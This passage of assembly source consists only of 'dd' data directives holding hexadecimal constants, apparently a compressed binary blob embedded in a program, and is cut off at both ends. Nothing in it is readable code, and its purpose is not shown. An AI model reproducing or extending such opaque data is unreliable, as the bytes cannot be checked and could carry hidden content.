0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h dd 0C08A1EC1h, 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h dd 0E676045h, 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h dd 10324476h, 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h dd 0FEDCBA98h, 10E06480h, 8901ABCDh, 45676802h, 6CC00123h dd 2D1E000Fh, 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh dd 3FE03B18h, 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh dd 18D6BD0h, 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh dd 311E95h, 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh dd 0EA9AAC55h, 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h dd 552DD3FEh, 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh dd 5E76013Fh, 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh dd 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h dd 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h dd 62C2BD7Ch, 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh dd 6FC56A03h, 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h dd 0E4E80009h, 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h dd 0E16600FAh, 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h dd 0F93C0C20h, 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h dd 4C33A91Ch, 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h dd 0A9F047C1h, 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah dd 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh dd 147870h, 87C62A01h, 52F13547h, 34978C00h, 90CC8523h dd 13040018h, 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h dd 0BCAF0390h, 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h dd 7AF701AFh, 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh dd 0F00FAAD8h, 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh dd 11220107h, 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh dd 0FD987193h, 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h dd 0B3CF9C0h, 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h dd 0A8F61Eh, 4518E869h, 58C4CB1h, 0CE0D8007h, 40BE408Eh dd 0C050B372h, 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch dd 0DD265E5Ah, 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h dd 0AA984ED3h, 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h dd 290C0514h, 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h dd 42441453h, 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h dd 0BBB8B00h, 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h dd 8C2B46DEh, 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h dd 710D638h, 8478C337h, 43126CFCh, 7C00CF47h, 0D50D8708h dd 3E71EAF4h, 0C18F42ACh, 4E01017h, 455A14EDh, 623094FCh dd 2341B6Ah, 63E90205h, 0BB198C6Eh, 44B0D5C0h, 0F8010803h dd 0B0FCEFA3h, 1C108FCCh, 1CA2CFh, 676F02D9h, 0C09FD81h dd 0E485D3h, 2A4C8A18h, 1F20EA8Dh, 40F608B3h, 420490EFh dd 0FF7BFA39h, 1711A100h, 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh dd 0E0877129h, 0B3006609h, 0B40B794h, 7D04C55h, 6122E02Bh dd 856DA39Dh, 0E2B5ADD0h, 700E1000h, 0C0738A2h, 0A0E50045h dd 0B34EA61Ah, 170E232Ch, 0E0330981h, 0BEEA44C1h, 845801A4h dd 0BF10879Bh, 0A9A940A2h, 4B2EDE72h, 0D9895611h, 60C10744h dd 0A9F6BBA3h, 9A20AE09h, 70020728h, 51BEBFBCh, 401FB42Ah dd 7EC604A4h, 61289B1Eh, 110BC340h, 993D143h, 27FAEF41h dd 83488E82h, 1641A1E2h, 1BCEFC5Ch, 30850400h, 8C0AD4EFh dd 7FF9083h, 1D100518h, 0AD21F088h, 39E024F9h, 46D4D00Fh dd 0C4A240D9h, 18874C6h, 9914E5CFh, 0E084E6DBh, 0E003D1F1h dd 0F43C200Ah, 1FA2A07Ch, 0AF103F21h, 65000838h, 0C440AC56h dd 0B5714331h, 44E64101h, 86F42922h, 0B9D15F4h, 0EE5BCC0Ch dd 2063F00h, 0B924D249h, 97000185h, 435F2AFFh, 0BF60041h dd 4AB278E9h, 0A002087h, 0C9D2682Eh, 0F223A770h, 0C59094h dd 15D01747h, 0FC889ECh, 0A2111013h, 0A0398E00h, 0E03093h dd 0D27E6AE9h, 90E804F0h, 9AD8C400h, 280B8115h, 0C3E00055h dd 65405B59h, 8C1FA5A1h, 0C40D544h, 0EACC9280h, 0F71988Fh dd 0F4E4B304h dd 7D818EBFh, 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h dd 1C109E42h, 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h dd 0E064C039h, 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h dd 8CAC3AA3h, 34B2B380h, 8D2A107h, 96044E00h, 9017A832h dd 1F82EE10h, 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h dd 8987B41Ch, 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch dd 90C052BDh, 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh dd 0C78C9B61h, 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h dd 2E4051E2h, 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h dd 0FAFC3Fh, 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh dd 921600EEh, 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h dd 78EA10F6h, 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h dd 0BCE87300h, 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch dd 0C800EACAh, 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh dd 0D7D07881h, 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h dd 0EB302BFBh, 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h dd 17BD71Fh, 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh dd 76173E09h, 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h dd 52D63C02h, 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch dd 810F38B4h, 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h dd 59A08F88h, 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch dd 0F2D73B43h, 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h dd 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h dd 60D0EA4Eh, 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h dd 0BE76FA22h, 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh dd 9E6C4027h, 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h dd 0F2A29DFEh, 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h dd 0A0A34EC0h, 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h dd 99A11907h, 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh dd 0EA21E30h, 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh dd 0CF0561DFh, 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh dd 623EECC5h, 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h dd 386412h, 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h dd 38EC74C4h, 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h dd 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh dd 0D32472DAh, 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh dd 953B9D01h, 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh dd 0BB8DE805h, 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h dd 3300E90Ch, 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h dd 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh dd 4400040Fh, 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h dd 0A472A7FFh, 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh dd 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h dd 6A1A04A3h, 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh dd 0EC210C11h, 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h dd 0B0FF28B5h, 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh dd 0DAD8030Bh, 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h dd 0B03DEB97h, 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h dd 0BEE5C79h, 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h dd 0D097E882h, 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh dd 24A0B609h, 298C47E9h, 54A43724h, 12080E00h, 0E601D9h dd 0A9ED2116h, 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch dd 5A1048BCh, 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h dd 9EDD8444h, 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh dd 9F019547h, 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h dd 0BDE28D00h, 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh dd 3900DF90h, 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h dd 2E00FD4Eh, 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch dd 0CB6EAE00h, 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh dd 1201E883h, 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h dd 0E8006133h, 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h dd 5D1EE933h, 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h dd 38002DE2h, 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh dd 0F2A4C010h, 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh dd 0A5E32858h, 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch dd 0F8E37D40h, 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h dd 29C100AEh, 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh dd 62F023h, 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h dd 0C0A24BFFh, 8215E496h, 244C8900h, 0BCC2F408h, 70740127h dd 4B5C7C3Dh, 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h dd 0C6083145h, 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh dd 48C800C3h, 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h dd 585067D1h, 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h dd 2F5D3353h, 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh dd 4E7C2F7Ch, 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h dd 2ECFB118h, 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h dd 7F1D018h, 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh dd 24A120C0h, 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h dd 554741C0h, 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h dd 0C4074B0h, 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h dd 0D846F2B8h, 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh dd 2C57C0B3h, 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h dd 5BD183BAh, 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h dd 0F13B8979h, 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h dd 6226C3E9h, 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h dd 328230Eh, 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h dd 18F1EA46h, 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h dd 3A7930C4h, 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h dd 7A94F998h, 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh dd 4E2B3EBCh, 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h dd 6D40703Eh, 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h dd 9809A25Bh, 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h dd 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h dd 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h dd 6490A8D3h, 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h dd 5A1E60BDh, 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah dd 4034B81Eh, 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h dd 0D81F97DFh, 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah dd 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh dd 0B9071C09h, 5AD09F7Bh, 347480BBh, 0F84FA1FEh, 43610708h dd 0E08DF1E0h, 91AA683Fh, 79015C79h, 5108C1B7h, 0BDF46A7Bh dd 6F183ACCh, 389D8680h, 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h dd 4F76436Fh, 7D26E871h dd 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h dd 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h dd 137FCA4h, 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h dd 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh dd 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h dd 7C6BF048h, 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h dd 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh dd 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h dd 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h dd 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h dd 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h dd 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h dd 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h dd 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h dd 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h dd 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h dd 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh dd 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h dd 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h dd 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h dd 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h, 0F2570089h dd 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h dd 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h dd 0F4EA0658h, 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h dd 0B31FC89h, 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh dd 7536EDE0h, 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h dd 0A593802Fh, 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h dd 0E0D933F4h, 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h dd 27001653h, 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h dd 0D726812h, 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h dd 20D85B14h, 76002734h, 402D4258h, 0C1F041h, 3905E624h dd 5312EF97h, 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h dd 0F025BFC6h, 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh dd 32A221E6h, 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h dd 6FDE1A9Fh, 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh dd 0AA77DE0Fh, 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h dd 6011F121h, 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h dd 1E0FE368h, 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh dd 8E501847h, 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch dd 6FCCFB87h, 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh dd 0B21A3CF9h, 64001F40h, 48C86B44h, 244C917Fh, 9223BFh dd 55AD5442h, 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h dd 6F32255Ch, 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh dd 363F7FC2h, 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h dd 0B70F70h, 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h dd 726A21ECh, 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h dd 0BE32BEFCh, 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch dd 0A40310D5h, 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h dd 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h dd 6FE60B27h, 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh dd 60B5412Ah, 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh dd 0A4E9036Eh, 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh dd 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h dd 1660C5E2h, 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h dd 72DF70C4h, 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h dd 0D003CDD6h, 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh dd 0B11EEC39h, 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh dd 886F883h, 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h dd 0C3A33174h, 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h dd 10C46B1Dh, 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h dd 828F584h, 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh dd 35441FA2h, 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh dd 5B5458h, 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh dd 8B1C09CCh, 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch dd 204099B2h, 904210Ah, 5F531D0Eh, 0A20FC0C8h, 36E0882Ch dd 5B013B18h, 5ADC3Eh, 0C8E36E59h, 410EA582h, 3446161Dh dd 3E0EACD8h, 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h dd 0BAD91Fh dd 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h dd 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h dd 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h dd 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h dd 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h dd 6738B82h, 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h dd 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h dd 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh dd 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h dd 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h dd 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h dd 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h dd 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h dd 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh dd 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh dd 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h dd 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h dd 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h dd 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh, 0D7720095h dd 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h, 4D2E0390h dd 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h, 112E00C1h dd 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h, 0CFF9BAB0h dd 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch, 3A144143h dd 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h dd 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h dd 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h dd 938013Ah, 97791257h, 0F3C10E0h, 9472B84Ah, 0DE041DFDh dd 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h, 8FA5F163h dd 9C362F9h, 92072C11h, 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh dd 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h, 47914EDAh dd 40443C20h, 0CA106141h, 86164839h, 524A1CEh, 6F315314h dd 20C897Ah, 48202523h, 0C3001CBCh, 0E9880534h, 43AD0677h dd 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h dd 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h, 296EECh dd 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h dd 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h dd 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h dd 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h, 90067D24h dd 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h, 8905B4Bh dd 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h dd 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh dd 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh dd 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h dd 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch dd 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah dd 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h, 9E9D51E0h dd 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh dd 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h dd 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h dd 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h dd 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h dd 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h dd 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h dd 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h dd 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh dd 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh dd 275C08Bh, 15392B94h, 9E059CA9h, 0FE081380h, 749CB254h dd 61800E1h, 2F23B459h, 0FA03A25Ch, 6445A88Bh, 71C59088h dd 804D01C3h, 8F26A69h, 172DE4D3h, 5D277005h, 0F1ACBCB4h dd 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh dd 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh dd 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh dd 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h dd 1E5FDC8h, 5181AD1Fh, 6132B9C6h, 0F18CC8C0h, 36F02200h dd 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h dd 9636641h, 1D4B9085h, 